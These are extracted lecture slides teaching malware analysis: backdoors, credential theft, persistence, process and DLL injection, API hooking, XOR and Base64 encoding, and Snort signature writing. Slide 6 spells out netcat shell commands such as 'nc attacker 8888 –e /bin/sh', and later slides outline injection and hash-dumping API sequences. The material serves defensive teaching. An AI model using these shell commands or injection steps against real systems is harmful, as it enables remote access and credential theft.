Download presentation
Presentation is loading. Please wait.
1
Malware Behavior Chapter 11
2
Common Malware Functionalities
Downloaders Backdoors Credential stealers Persistence mechanisms Privilege escalation Covering tracks (rootkits)
3
Downloaders and Launchers
Retrieve an additional piece of malware from the Internet and execute Often packaged with an exploit Use Windows API URLDownloadtoFileA -> a call to WinExec Launchers Install malware for immediate or future covert execution (discussed later)
4
Backdoors Provides remote access to the attackers on the victim’s machine Mostly common malware Often use port 80 (HTTP protocol) to blend in with other traffic Learn their network signatures (discussed later) Operations: manipulate registry keys, enumerate display windows, create directories, search files. Always use reverse shell Allow attackers to execute commands like local machine Examples: Netcat, cmd.exe
5
NetCat Reverse Shells Victim – create a hack.txt file
1111 written to hack.txt Attacker: write “11111” into hack.txt
6
Bypass Firewall Shoveling Shell
Or NAT Attacker Victim Connection Attempt X nc victim 8888 nc –l 8888 –e /bin/sh Attacker Firewall Victim Connection shovel “Synchronize the two shells” nc –l –p 8888 Need an outbound traffic Firewall nc attacker 8888 –e /bin/sh
7
Windows Reverse Shells
Reversing Shells of Cmd.Exe Steps: Call to CreateProcess Create a socket and connect it to server Tie stdin, stdout, and stderr of process to socket for cmd.exe CreateProcess runs cmd.exe with Window suppressed, hiding it Multithreaded version can use CreateThread and CreatePipe.
8
Remote Admin Tool (RAT)
Remotely manage computer(s) – similar to botnet command and control. Typically over port 80 and 443 Poison Ivy Rat
9
Botnet Collection of compromised hosts (zombies)
Purpose: spread malware/spam, DDOS (blackmailing) Difference between RAT and Botnet Botnet controls more hosts than RAT Botnet one-to-all, RAT (could be one-to-one) Botnet: Massive attack; RAT: targeted attack
10
Credential Stealer Three main types: Program that monitors user login
Program that dumps credentials stored in Windows, e.g. password hashes, to be cracked offline. Program that locks keystrokes
11
Monitoring User Login Windows XP: Graphical Identification and Authentication (GINA) interception – malware uses to steal user credentials. (ignored in Vista) GINA was intended for third party identification (RFID/smart cards) GINA -> msgina.dll Winlogon.exe -> msgina.dll -> GINA requests credentials Third Party DLL loaded by Winlogon:
12
Fsgina.dll Winlogon process
Fsgina found in this registry – intercept all credentials – log the information to disk/pass over to network Configured to run by setting a Windows registry key HKLM\SOFTWARE\...\Winlogon\GinaDLL set to fsgina.dll Winlogon process winlogon executes fsgina.dll requests credentials fsegina.dll passes credentials to msgina.dll (it must contain all DLL exports required by GINA, begins with Wlx – good indicator it is a GINA interceptor) Similar to Man-in-the-middle
13
Hash Dumping Password storage
Typically, only hashes of passwords stored Users with forgotten passwords issued new ones Hash function well-known Dumping hashes allows dictionary attacks since users with weak passwords subject to brute-force dictionary attacks off-line
14
Pass-the-Hash Attack No need to crack the hashes to obtain the plaintext. Pwdump/Pass-the-Hash (PSH) Toolkit – opensource Pwdump – programs that outputs the LM/NTLM password hashes from Security Account Manager (SAM) Pwdump performs DLL injection on lsass.exe (Local Security Authority Subsystem Service) Pwdump calls GetHash (Hash Extraction)-Can be easily changed to avoid signatures DLL injection, run a DLL inside another process.
15
Pass-the-Hash Attack Example: Listing 11-2
samsrv.dll API for access the SAM Loads library samsrv.dll to get SAM functions SamIConnect, SamrQueryInformationUser, and SamIGetPrivateData Loads library advapi32.dll to get hidden API functions for decrypting hashes (SystemFunction025, SystemFunction027) Hash will be extracted with SamIGetPrivateData and decrypted by SystemFunction025, SystemFunction027
16
Keystroke Logging Classic form of credential stealing - records keystrokes so attacker can observe typed data Kernel-based Keyloggers Difficult to detect with user-mode applications Act as keyboard drivers to capture keystrokes User-space Keyloggers Use the Windows API to hook – notify the malware each time a key is pressed (SetWindowsHookEx) Poll the state of the keys - (GetForegroundWindow and GetAsyncKeyState)
17
User-Space Keyloggers
1. Call GetForegroundWindow logs the active window 2. Iterates through a list of keys 3. Calls GetAsyncKeyState check if a key pressed 4. Check if the user is still in the same window Listing 11-4 Disassembly examples Notice – Loop: Call sleep function to avoid eating up resources
18
Persistence Mechanism
Methods to ensure survival of malware on a system for a long time Windows Registry persistence Trojaning DLL load-order hijacking
19
Windows Registry Common malware targets
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s\CurrentVersion\Run + and more AppInit_DLLs Loaded into every process that loads User32.dll Stored in: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Winlogon Notify Hooking logged events (logon, logoff, startup, shutdown, lock screen) Registry entry: \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ When winlogon.exe generates an event, Windows checks the Notify registry key above for a DLL that will handle it
20
SvcHost DLL SvcHost DLLs
All services persist via registry, removing, won’t start svchost.exe – generic host process for services that run from DLLs Many instance of svchost running at once Each instance contains a group of services Group determined at \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost Services are defined at \HKLM\System\CurrentControlSet\Services\ServiceName
21
SvcHost DLLs Malware authors often revise DisplayName and Description about the service. NetWareMan – provides access to file and print resources on NetWare networks. ImagePath location of the service executable Svchost.exe DLLs contain a Parameters key with a ServiceDLL value (sets to the location of the malicious DLL) Start value set -> start service during system boot Add/Rewrite to existing (nonvital) groups to blend in Defend: monitor the registry/look for CreateServiceX in disassembly.
22
Trojaning Trojaning system binaries – patches libraries or DLLs - force the system to execute the malware Patch the entry function – directly jumps to malicious code Overwrites beginning of the function Added to an empty section of the binary No impact on normal operation Returns to target program after execution
23
Trojaning DLL Rutils.dll MD5 doesn’t match the expected
Static analysis with IDApro Jumping to another location
24
Trojaning DLL DllEntryPoint function tampering
We have seen malicious program changes the code at entry to jump immediately to malicious code Malicious code performs pusha to save all registers in one instruction Malicious code performs popa to restore all registers before returning back to legitimate code Malicious code forces LoadLibrary of msconf32.dll before returning back to original entry point
25
DLL Load-Order Hijacking
DLL load-order hijacking (no need registry/trojaning binaries) DLL search path in Windows XP Directory from which application was loaded Current directory System directory (GetSystemDirectory function) 16-bit system directory Windows directory (GetWindowsDirectory function) Directories in PATH environment variable KnownDLL shortlist for speedup loading Rename malicious library and place high in path to replace the default one that supposed to be loaded (afterwards) /Windows checked before /System32, place the malicious DLL in /Windows. Any startup binary not found in /System32 is vulnerable to this attack (explorer.exe has around 50)
26
Privilege Escalation Most users run as local administrators
Malware has the same privilege Malware uses privilege escalation for those that don't Exploit vulnerable code to obtain administrator privileges Many malware frameworks include such exploits (e.g. Access to restricted calls such as TerminateProcess and CreateRemoteThread
27
Use SeDebugPrivilege Modify security token of a process using AdjustTokenPrivileges to obtain Initially used as a tool for system-level debugging Malware exploits it to gain full access Call to OpenProcessToken, LookupPrivilegeValueA to retrieve the locally unique identifier (LUID) Call to AdjustTokenPrivileges NewState is set to SE_PREVILEGE_ENABLED.
28
User-Mode Rootkits (Covering Tracks)
Hide malicious activity Make malicious files, processes, network connections, and other resources invisible Most rootkits are kernel-mode to run at the same level as anti- virus/anti-malware Corrupt system more easily than user level
29
Function Hooking Two general methods
Mechanism used to redirect function calls to injected attack code Replaces legitimate function with alternative one Two general methods Function table hooking (IAT Hooking) Run-time data structures that contain function pointers that are invoked during program execution Hot patching function invocation (inline hooking) Modify JMP/CALL targets in code Modify function prologues to add detour
30
IAT Hooking Import Address Table (IAT) used to call functions in libraries Normally, the code will use the IAT to access target function Application code push <call parms> call [imp_InternetConnect] … InternetConnect() push ebp lea ebp, [esp+var_5 8] sub esp, 29Ch … Import Address Table jmp InternetConnect jmp InternetAutodial jmp InternetErrorDlg …
31
IAT Hooking Modify IAT to hijack a DLL call x
Load rootkit hook function into memory Replace target function’s address in the IAT with address of hook function Application code push <call parms> call [imp_InternetConnect] … InternetConnect() push ebp lea ebp, [esp+var_5 8] sub esp, 29Ch … Import Address Table jmp InternetConnect jmp InternetAutodial jmp InternetErrorDlg … x Rootkit Code
32
Inline Hooking Overwrite API function code contained in the imported DLLs. IAT modifies the pointers – inline changes the actual function code Replace the start of the code with a jump to the malicious code Example - Modify ZwDeviceIoControlFile to hide ports Get pointer to code location of function to insert hook into eax – install a 7-byte inline hook Define “hook byte” template (detour) Copy address of hooking function into template (memcpy) Call to install hook bytes into ZwDeviceIoControlFile call Anti-virus expect inline hooks at the start, can modify the API code to avoid detection.
33
In Class Homework
34
Covert Malware Launching
Chapter 12
35
Launchers Malware that sets itself up for immediate or future covert execution Often contain malware that is to be executed in a resource section Extracts an embedded executable or DLL from resource section and launch it Uses FindResource, LoadResource, and SizeofResource API calls to extract Must be admin privileges/or escalate (identify by privilege escalation code)
36
Process Injection Inject code into another running process
Most popular covert launching technique Bypasses host-based firewalls and process-specific security mechanisms Force process to call VirtualAllocEx (allocate space in an external process’s memory), then WriteProcessMemory to inject code (write data to that allocated space) Two injection types: DLL injection, direct injection
37
DLL Injection Force remote process to load a malicious DLL
Most common covert loading technique Remotely inject code into process that calls LoadLibrary OS automatically executes DllMain of newly loaded libraries Malicious DLL have little content other than DllMain All actions appear to originate from compromised process
38
DLL Injection
39
DLL Injection Method #1 Obtain handle to victim process (CreateToolhelp32Snapshot, Process32First, Process32Next API calls to search process list for victim) Get PID of victim and use OpenProcess to obtain handle Allocate space for name of malicious DLL in victim process VirtualAllocEx allocates space in remote process given handle Call WriteProcessMemory to write string into victim process where VirtualAllocEx obtained space Call CreateRemoteThread to start a new thread in victim lpStartAddress : starting address of thread (set to address of LoadLibrary) lpParameter : argument for thread (point to above memory that stores name of malicious DLL) Identify DLL injection based on the above procedures
40
DLL Injection Malware launcher never calls a malicious function – malicious code located in DLLMain – automatically called by the OS Goal is to call CreateRemoteThread Create remote thread LoadLibrary See example Fig in Book Look for the victim process name – no string name seen (because they were accessed before code executes) Set a breakpoint to check WriteProcessMemory – it dumps the content to the stack
41
Direct Injection Instead of writing a separate DLL, let the remote process to load it – directly injects code to the process No DLL Requires custom code that will not disrupt victim process Similar procedures to DLL injection – complex compilation – data/function must exist in the victim process (string/functions not loaded)
42
Process Replacement Overwrite memory space of running process with malicious executable Disguise malware as legit process without risking crashes from partial injection Common attack: svchost.exe Start svchost in suspended state Pass CREATE_SUSPENDED as the dwCreationFlags parameter when calling CreateProcess Release all memory using ZwUnmapViewOfSection Allocate memory for malicious code via VirtualAllocEx WriteProcessMemory to write malware sections to the victim’s space (in loop) SetThreadContext to fix entry point to point to malicious code ResumeThread to initiate malware Bypasses firewalls and intrusion prevention systems since svchost runs many network daemons Users had no idea that the known process is unmapped.
43
Hook Injection Types of hooks
Hooks –handle messages and events going to/from applications and operating system Use malicious hooks to run certain code whenever a particular message is intercepted (i.e. keystrokes) Use malicious hooks to ensure a particular DLL is loaded in a victim's memory space (i.e. process loaded event) Types of hooks Local hooks: observe and manipulate messages internally within process Remote hooks: observe and manipulate messages destined for a remote process (another process on OS)
44
Hook Injection Examples
Keyboard hooks Registering hook code using WH_KEYBOARD or WH_KEYBOARD_LL hook procedure types to implement keyloggers High-level: running in the a remote process or the process install the hook. Low-level: sent to the process that install the hook. Windows hooks Register hook with SetWindowsHookEx to capture window events Targeting threads Hooks must determine which thread to attach to Malware implements code to get dwThreadId of victim Hook targets often obscure to evade Intrusion Prevention Systems WH_CBT hook for computer-based training messages (not frequently used) Call SetWindowsHookEx to install hook on remote thread Then, initiate WH_CBT message to force load hook.dll by notepad.exe (load into notepad process space and malicious code in DLLMain)
45
Detour Library developed by Microsoft in 1999
Instrument and extend existing OS and application functionality simply A programmer-friendly “feature” of Windows to easily patch functions Malware uses to extend application with malicious functions (import table modification) Commonly used to add malicious DLLs into existing binaries on disk Adds a new .detour section into PE structure and modifies import address table using setdll tool in Detours library to new import table
46
APC Injection APC = Asynchronous Procedure Call
Malware using CreateRemoteThread easily detected (not efficient either) Invoke a function on existing thread (APC) APC allows for a stealthier way to execute code Each thread has an APC function queue attached to it Threads execute all functions in APC queue when in an alertable state after calls to WaitForSingleObjectEx, WaitForMultipleObjectsEx, and SleepEx Malware performs APC injection to preempt threads in an alertable state to get immediate execution of their code Two forms Kernel-mode: APC generated for the system or a driver User-mode: APC generated for an application
47
APC Injection from User Space
One thread can queue a function to be invoked in another via API call QueueUserAPC Malware takes targets that are likely to go into alertable state WaitForSingleObjectEx is the most common call to the Windows API OpenThread followed by QueueUserAPC using LoadLibraryA on a malicious DLL (dbnet.dll) Note: calls to CreateToolhelp32Snapshot or ZwQuerySystemInformation, Process32First, Process32Next, Thread32First, and Thread32Next usually precede this snippet Svchost.exe – popular target, often in alertable state.
48
APC Injection from Kernel Space
Malicious drivers in kernel often would like to execute code in user space Perform APC injection from kernel space Two major functions: KeInitializeApc and KeInsertQueueApc Initialize a call to KeInitializeApc KAPC (kernel-APC) passed to KeInsertQueueApc APC will be queued and run
49
Data Encoding Chapter 13
50
Data Encoding Goals Defeat signature-detection by obfuscating malicious content. Disguise internal working Encrypt network communication Hide command and control location Hide staging file before transmission Hide from “strings” analysis
51
Simple Ciphers Low overhead, simple, less obvious, light-weight – prevent basic analysis Casesar Cipher Shift/Rotate characters (e.g. shifting letters three characters to the right) XOR (e.g. XOR with 0x3C) Bit-wise XOR of data with a fixed byte or generated byte stream
52
Brute-force XOR Encoding
For a fixed byte XOR, can brute force all 256 values to find a header that makes sense. -> just try out (single-byte encoding) MZ header 4d, 5a
53
Brute-Forcing Many Files
Know: PE file header contain a string: This program must be run under Win32/This program cannot be run is DOS. Enumerate through all possible keys to find a match Easy to break for single-byte XOR cipher
54
Null-preserving XOR encoding
Easy to see by glance through the hex file for NULL – 0x12 (original) xor 0x12 (key) -> NULL Some malware uses null-preserving XOR to make detection less obvious Skip if original is NULL or key itself Otherwise, XOR with key Key is less obvious this way
55
Identify XOR Loops Use Search->Text to find all the XOR
3 Cases XOR are used: XOR of a register with itself XOR of a register with a constant XOR of one register with a different register Encoding -> XOR with a constant inside a loop -> use IDA Pro to identify the loop (graphical view)
56
Base 64 Base-64 Represents binary data in an ASCII string format
From MIME standard Represents binary data in an ASCII string format Binary data converted into one of 64 primary characters Every 3-bytes of binary data is encoded in 4-bytes of Base64 ATT (24 bits/3 bytes -> regroup into 4 groups (6 bits each)
57
Base 64 (Table)
58
Decode Base 64 (Padding) Decoding is the same (watch out for padding)
Bot > The attacker is managing the bots through the ID Look for a string used as an index table ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz / Try on-line conversion tools Caution: Malware can easily modify index table to create custom substitution ciphers very easily (see book example) Length of 11- should be divisible of 4 Add a padding character
59
Decode Base 64 Malware can implement their own substitution cipher.
“a” moving to the front to make it appear to be standard Base 64. Unsuccessful decoding – not standard
60
Cryptographic Algorithm
Simple cipher cannot be protected from brute-force Drawbacks of standard crypto: Crypto libraries are large and easily detected Must hide the key for symmetric encryption algorithms Reduced portability Recognizing encrypted code Imports include well-known OpenSSL or Microsoft functions Searching cryptographic constants FindCrypt2 plugin in IDA Pro (search program for crypto) Or Krypto ANALyzer plugin for PEiD
61
Cryptographic Algorithm
Most crypto employs some magic constant (fixed string of bits) Recognizing encrypted data Some malware employs crypto algorithms that do not have constants (RC4, IDEA generate at run-time) or do not rely on libraries Krypto ANAlyzer Identify a wide range of constants (some false positives)
62
High-Entropy Content In case magic constants are not found – search for high- entropy content Entropy – expected information content of the symbol it outputs (amount of randomness) IDA Entropy Plugin (graphical views) DES-encryption Hide command-and-control Normal Code about 5.6 peak
63
Custom Encoding Malware uses homegrown encoding – e.g. XOR + Base64
Trace execution to see suspicious activity in a tight loop Example: pseudo-random number generation followed by xor (Figure 13-14, 13-15, p. 287) Reverse engineering to break custom encoding is more difficult
64
Decoding Self-decoding malware Malware employing decoding functions
Malware packaged with decoding routine Indications : strings that don't appear in binary file on disk, but appear in debugger Decrypt by setting a breakpoint directly after decryption routine finishes execution Malware may not decrypt the info you want (uncontrollable) Malware employing decoding functions Can sometimes use standard libraries to decode Python's base64.decodestring() or PyCrypto's functions (see examples Listing 13-8 to Listing 13-10) Programmatically use debugger to re-run malware’s decoding code with chosen parameters (use the malware to decode/against itself) ImmDbg (allow Python to program the debugger)
65
In Class Homeworks
66
Malware-Focused Network Signatures
Chapter 14
67
Network Countermeasures
IP connectivity Restrict network access using routers and firewalls DNS Reroute known malicious domains to an internal host (sinkhole) – config proxy servers to defend Content-filters Proxies, intrusion detection systems, intrusion prevention systems for intercepting web requests in order to detect or prevent access
68
Network Countermeasures
Mine logs, alerts, and packet captures for forensic information (already generated) No risk of infection when performing passive analysis versus actively attempting to run malware Malware can be programmed to detect active analysis (detect lab evnrionment) Indications of malicious activity Beacons to malicious sites (example of malicious activity)
69
Operation Security Game between Investigators and Attackers – attackers can identify investigation activities Send a phishing link to specific individual and watch for access from an unexpected geo area Embed unused domain and watch for attempts to resolve the domain Attackers could change their tactics if they found they are being investigated.
70
Safely Investigation Online
Indirection Use network anonymizers such as Tor/proxy to hide yourself Use a virtual machine and virtual networks running through remote infrastructure (cellular, Amazon EC2, etc) IP address and DNS information See Regional Internet Registries to find out organizational assignment of IP blocks (registered name) Query whois records of DNS names to find contact information online - anonymous (domaintools.com)
71
Content-based Network Countermeasures
Intrusion Detection with Snort Rules that link together elements that must be true to fire Attributes to look at: Size of payload, flag fields, specific settings of TCP/IP headers, HTTP headers, content in payload Create snort rules Header: rule action, protocol, src, dest IP, ports Option: conditions the rule should fire
72
Content-based Network Countermeasures
Potential Snort rule to detect Wefa7e – (p304); False positive – Webmin software (matches the rule) New rule generated (p305) and tested across real traffic; done manually Non-live Traffic: each time we may see Wefd95 each time we run the malware Next host run the malware: We9753 – different on every trial run – random seed Attacker can intentionally generate false positives
73
Combine Dynamic and Static Analysis
Attackers mimicking typical web requests IRC (Internet Relay Chat) was popular in the 1990s – e.g. communicate with botnet – IDS watch IRC traffic Blend in with HTTP/HTTPS (encrypt content) Encoding commands in URLs and HTTP headers (p311) Perform encoded request through DNS Tunneling malicious comm. By misusing fields (User-agent field, disguise as web requests) Malware circumventing intrusion detection filters similar to Tor circumventing censorship filters
74
Finding the Networking Code
Finding networking code to develop signature WinSock API (WSAStartup, getaddrinfo, socket, connect, send, recv, WSAGetLastError) – Malware typically use these functions WinINet API (InternetOpen, InternetConnect, InternetOpenURL, InternetReadFile, InternetWriteFile, HTTPOpenRequest, HTTPQueryInfo, HTTPSendRequest) – hiher-level APIs (more effectively blend into normal traffic) COM interface (URLDownloadToFile, CoInitialize, CoCreateInstance, Navigate) – High-level API Finding hard-coded patterns or stable content to create rules
75
Hard-coded Data - Interesting Example
Manual content means more hard-coded data – malware authors may make mistakes (typos) Mozilla – Mozila/MoZilla Difference between Google Translate and WannaCry
76
Linguistic Analysis - WannaCry
A number of unique characteristics in the note indicate it was written by a fluent Chinese speaker. A typo in the note, “帮组” (bang zu) instead of “帮助” (bang zhu) meaning “help,” One term, “礼拜” for “week,” is more common in South China, Hong Kong, Taiwan, and Singapore; although it is occasionally used in other regions of the country. Indication: attackers know English, use Google Translate for other languages, but write own Chinese versions (traces showing that they might be from south China region)
77
Understanding the Attacker’s perspective
Cat-and-mouse game – attackers struggle to update the software – changes should be minimal Focus on elements that are part of both endpoints (create signature on both client and server) – more work for the attacker to modify both sides Focus on hard-coded components of a protocol known to be part of a key (change both sides) Find your own signature than other defenders (so that an attacker side-stepping another defender will not affect yours)
Similar presentations
© 2024 SlidePlayer.com Inc.
All rights reserved.